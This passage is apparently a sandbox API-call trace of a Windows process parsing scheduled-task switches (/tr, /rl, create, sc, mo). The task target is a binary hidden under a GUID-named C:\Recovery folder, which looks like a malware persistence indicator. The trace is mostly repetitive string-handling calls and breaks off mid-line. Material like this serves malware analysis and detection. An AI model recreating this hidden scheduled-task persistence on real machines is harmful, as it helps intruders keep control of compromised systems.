[0146.764] lstrlenW (lpString="mo") returned 2 [0146.764] lstrlenW (lpString="mo") returned 2 [0146.764] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.764] lstrlenW (lpString="tr") returned 2 [0146.764] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.764] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|mo|") returned 4 [0146.764] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.764] lstrlenW (lpString="|mo|") returned 4 [0146.764] lstrlenW (lpString="|tr|") returned 4 [0146.764] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0146.764] SetLastError (dwErrCode=0x490) [0146.765] lstrlenW (lpString="d") returned 1 [0146.765] lstrlenW (lpString="d") returned 1 [0146.765] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.765] lstrlenW (lpString="tr") returned 2 [0146.765] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.765] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|d|") returned 3 [0146.765] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.765] lstrlenW (lpString="|d|") returned 3 [0146.765] lstrlenW (lpString="|tr|") returned 4 [0146.765] SetLastError (dwErrCode=0x490) [0146.765] lstrlenW (lpString="m") returned 1 [0146.765] lstrlenW (lpString="m") returned 1 [0146.765] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.765] lstrlenW (lpString="tr") returned 2 [0146.765] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.766] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|m|") returned 3 [0146.766] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.766] lstrlenW (lpString="|m|") returned 3 [0146.766] lstrlenW (lpString="|tr|") returned 4 [0146.766] SetLastError (dwErrCode=0x490) [0146.766] lstrlenW (lpString="i") returned 1 [0146.766] lstrlenW (lpString="i") returned 1 [0146.766] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.766] lstrlenW (lpString="tr") returned 2 [0146.766] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.766] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|i|") returned 3 [0146.766] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.766] lstrlenW (lpString="|i|") returned 3 [0146.766] lstrlenW (lpString="|tr|") returned 4 [0146.766] SetLastError (dwErrCode=0x490) [0146.766] lstrlenW (lpString="tn") returned 2 [0146.767] lstrlenW (lpString="tn") returned 2 [0146.767] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.767] lstrlenW (lpString="tr") returned 2 [0146.767] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.767] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.767] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.767] lstrlenW (lpString="|tn|") returned 4 [0146.767] lstrlenW (lpString="|tr|") returned 4 [0146.767] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0146.767] SetLastError (dwErrCode=0x490) [0146.767] lstrlenW (lpString="tr") returned 2 [0146.767] lstrlenW (lpString="tr") returned 2 [0146.767] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.767] lstrlenW (lpString="tr") returned 2 [0146.767] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.767] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.767] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.767] lstrlenW (lpString="|tr|") returned 4 [0146.768] lstrlenW (lpString="|tr|") returned 4 [0146.768] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0146.768] SetLastError (dwErrCode=0x0) [0146.768] SetLastError (dwErrCode=0x0) [0146.768] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0146.768] lstrlenW (lpString="-/") returned 2 [0146.768] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0146.768] SetLastError (dwErrCode=0x490) [0146.768] SetLastError (dwErrCode=0x490) [0146.768] SetLastError (dwErrCode=0x0) [0146.768] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0146.768] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'" [0146.768] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0146.768] _memicmp (_Buf1=0x3cc360, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.768] _memicmp (_Buf1=0x3cc3a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.768] SetLastError (dwErrCode=0x7a) [0146.768] SetLastError (dwErrCode=0x0) [0146.768] SetLastError (dwErrCode=0x0) [0146.769] lstrlenW (lpString="'C") returned 2 [0146.769] lstrlenW (lpString="-/") returned 2 [0146.769] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0146.769] SetLastError (dwErrCode=0x490) [0146.769] SetLastError (dwErrCode=0x490) [0146.769] SetLastError (dwErrCode=0x0) [0146.769] _memicmp (_Buf1=0x3cd570, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.769] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0146.769] GetProcessHeap () returned 0x3b0000 [0146.769] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd590) returned 1 [0146.769] GetProcessHeap () returned 0x3b0000 [0146.769] RtlReAllocateHeap (Heap=0x3b0000, Flags=0xc, Ptr=0x3cd590, Size=0x8c) returned 0x3cc2c0 [0146.769] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0146.769] lstrlenW (lpString=" \x09") returned 2 [0146.769] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0146.769] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0146.769] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0146.769] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0146.769] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0146.770] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0146.771] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0146.772] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0146.772] GetLastError () returned 0x0 [0146.806] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0146.806] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0146.806] SetLastError (dwErrCode=0x0) [0146.806] SetLastError (dwErrCode=0x0) [0146.806] lstrlenW (lpString="/rl") returned 3 [0146.806] lstrlenW (lpString="-/") returned 2 [0146.806] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0146.806] lstrlenW (lpString="create") returned 6 [0146.806] lstrlenW (lpString="create") returned 6 [0146.806] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.807] lstrlenW (lpString="rl") returned 2 [0146.807] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.807] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|create|") returned 8 [0146.807] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.807] lstrlenW (lpString="|create|") returned 8 [0146.807] lstrlenW (lpString="|rl|") returned 4 [0146.807] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0146.807] SetLastError (dwErrCode=0x490) [0146.807] lstrlenW (lpString="?") returned 1 [0146.807] lstrlenW (lpString="?") returned 1 [0146.807] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.807] lstrlenW (lpString="rl") returned 2 [0146.807] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.807] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|?|") returned 3 [0146.807] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.807] lstrlenW (lpString="|?|") returned 3 [0146.807] lstrlenW (lpString="|rl|") returned 4 [0146.807] SetLastError (dwErrCode=0x490) [0146.807] lstrlenW (lpString="s") returned 1 [0146.807] lstrlenW (lpString="s") returned 1 [0146.807] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.807] lstrlenW (lpString="rl") returned 2 [0146.807] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.807] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|s|") returned 3 [0146.808] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.808] lstrlenW (lpString="|s|") returned 3 [0146.808] lstrlenW (lpString="|rl|") returned 4 [0146.808] SetLastError (dwErrCode=0x490) [0146.808] lstrlenW (lpString="u") returned 1 [0146.808] lstrlenW (lpString="u") returned 1 [0146.808] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.808] lstrlenW (lpString="rl") returned 2 [0146.808] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.808] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|u|") returned 3 [0146.808] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.808] lstrlenW (lpString="|u|") returned 3 [0146.808] lstrlenW (lpString="|rl|") returned 4 [0146.808] SetLastError (dwErrCode=0x490) [0146.808] lstrlenW (lpString="p") returned 1 [0146.808] lstrlenW (lpString="p") returned 1 [0146.808] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.808] lstrlenW (lpString="rl") returned 2 [0146.808] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.808] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|p|") returned 3 [0146.808] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.808] lstrlenW (lpString="|p|") returned 3 [0146.808] lstrlenW (lpString="|rl|") returned 4 [0146.808] SetLastError (dwErrCode=0x490) [0146.808] lstrlenW (lpString="ru") returned 2 [0146.809] lstrlenW (lpString="ru") returned 2 [0146.809] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.809] lstrlenW (lpString="rl") returned 2 [0146.809] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.809] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|ru|") returned 4 [0146.809] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.809] lstrlenW (lpString="|ru|") returned 4 [0146.809] lstrlenW (lpString="|rl|") returned 4 [0146.809] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0146.809] SetLastError (dwErrCode=0x490) [0146.809] lstrlenW (lpString="rp") returned 2 [0146.809] lstrlenW (lpString="rp") returned 2 [0146.809] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.809] lstrlenW (lpString="rl") returned 2 [0146.809] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.809] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rp|") returned 4 [0146.809] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.809] lstrlenW (lpString="|rp|") returned 4 [0146.809] lstrlenW (lpString="|rl|") returned 4 [0146.809] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0146.809] SetLastError (dwErrCode=0x490) [0146.809] lstrlenW (lpString="sc") returned 2 [0146.809] lstrlenW (lpString="sc") returned 2 [0146.809] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.810] lstrlenW (lpString="rl") returned 2 [0146.810] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.810] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sc|") returned 4 [0146.810] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.810] lstrlenW (lpString="|sc|") returned 4 [0146.810] lstrlenW (lpString="|rl|") returned 4 [0146.810] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0146.810] SetLastError (dwErrCode=0x490) [0146.810] lstrlenW (lpString="mo") returned 2 [0146.810] lstrlenW (lpString="mo") returned 2 [0146.810] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.810] lstrlenW (lpString="rl") returned 2 [0146.810] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.845] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|mo|") returned 4 [0146.845] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.845] lstrlenW (lpString="|mo|") returned 4 [0146.845] lstrlenW (lpString="|rl|") returned 4 [0146.845] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0146.845] SetLastError (dwErrCode=0x490) [0146.845] lstrlenW (lpString="d") returned 1 [0146.845] lstrlenW (lpString="d") returned 1 [0146.845] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.845] lstrlenW (lpString="rl") returned 2 [0146.845] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.845] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|d|") returned 3 [0146.845] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.845] lstrlenW (lpString="|d|") returned 3 [0146.845] lstrlenW (lpString="|rl|") returned 4 [0146.845] SetLastError (dwErrCode=0x490) [0146.845] lstrlenW (lpString="m") returned 1 [0146.845] lstrlenW (lpString="m") returned 1 [0146.845] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.845] lstrlenW (lpString="rl") returned 2 [0146.846] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.846] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|m|") returned 3 [0146.846] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.846] lstrlenW (lpString="|m|") returned 3 [0146.846] lstrlenW (lpString="|rl|") returned 4 [0146.846] SetLastError (dwErrCode=0x490) [0146.846] lstrlenW (lpString="i") returned 1 [0146.846] lstrlenW (lpString="i") returned 1 [0146.846] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.846] lstrlenW (lpString="rl") returned 2 [0146.846] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.846] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|i|") returned 3 [0146.846] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.846] lstrlenW (lpString="|i|") returned 3 [0146.846] lstrlenW (lpString="|rl|") returned 4 [0146.846] SetLastError (dwErrCode=0x490) [0146.846] lstrlenW (lpString="tn") returned 2 [0146.846] lstrlenW (lpString="tn") returned 2 [0146.846] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.846] lstrlenW (lpString="rl") returned 2 [0146.846] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.846] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.846] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.846] lstrlenW (lpString="|tn|") returned 4 [0146.846] lstrlenW (lpString="|rl|") returned 4 [0146.846] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0146.846] SetLastError (dwErrCode=0x490) [0146.846] lstrlenW (lpString="tr") returned 2 [0146.846] lstrlenW (lpString="tr") returned 2 [0146.846] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.847] lstrlenW (lpString="rl") returned 2 [0146.847] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.847] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.847] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.847] lstrlenW (lpString="|tr|") returned 4 [0146.847] lstrlenW (lpString="|rl|") returned 4 [0146.847] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0146.847] SetLastError (dwErrCode=0x490) [0146.847] lstrlenW (lpString="st") returned 2 [0146.847] lstrlenW (lpString="st") returned 2 [0146.847] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.847] lstrlenW (lpString="rl") returned 2 [0146.847] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.847] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|st|") returned 4 [0146.847] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.847] lstrlenW (lpString="|st|") returned 4 [0146.847] lstrlenW (lpString="|rl|") returned 4 [0146.847] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0146.847] SetLastError (dwErrCode=0x490) [0146.847] lstrlenW (lpString="sd") returned 2 [0146.847] lstrlenW (lpString="sd") returned 2 [0146.847] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.847] lstrlenW (lpString="rl") returned 2 [0146.847] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.847] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sd|") returned 4 [0146.847] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.847] lstrlenW (lpString="|sd|") returned 4 [0146.847] lstrlenW (lpString="|rl|") returned 4 [0146.847] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0146.847] SetLastError (dwErrCode=0x490) [0146.848] lstrlenW (lpString="ed") returned 2 [0146.848] lstrlenW (lpString="ed") returned 2 [0146.848] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.848] lstrlenW (lpString="rl") returned 2 [0146.848] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.848] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|ed|") returned 4 [0146.848] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.848] lstrlenW (lpString="|ed|") returned 4 [0146.848] lstrlenW (lpString="|rl|") returned 4 [0146.848] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0146.848] SetLastError (dwErrCode=0x490) [0146.848] lstrlenW (lpString="it") returned 2 [0146.848] lstrlenW (lpString="it") returned 2 [0146.848] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.848] lstrlenW (lpString="rl") returned 2 [0146.848] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.848] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|it|") returned 4 [0146.848] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rl|") returned 4 [0146.848] lstrlenW (lpString="|it|") returned 4 [0146.848] lstrlenW (lpString="|rl|") returned 4 [0146.848] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0146.848] SetLastError (dwErrCode=0x490) [0146.848] lstrlenW (lpString="et") returned 2 [0146.848] lstrlenW (lpString="et") returned 2 [0146.848] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.848] lstrlenW (lpString="rl") returned 2 [0146.848] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.848] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, 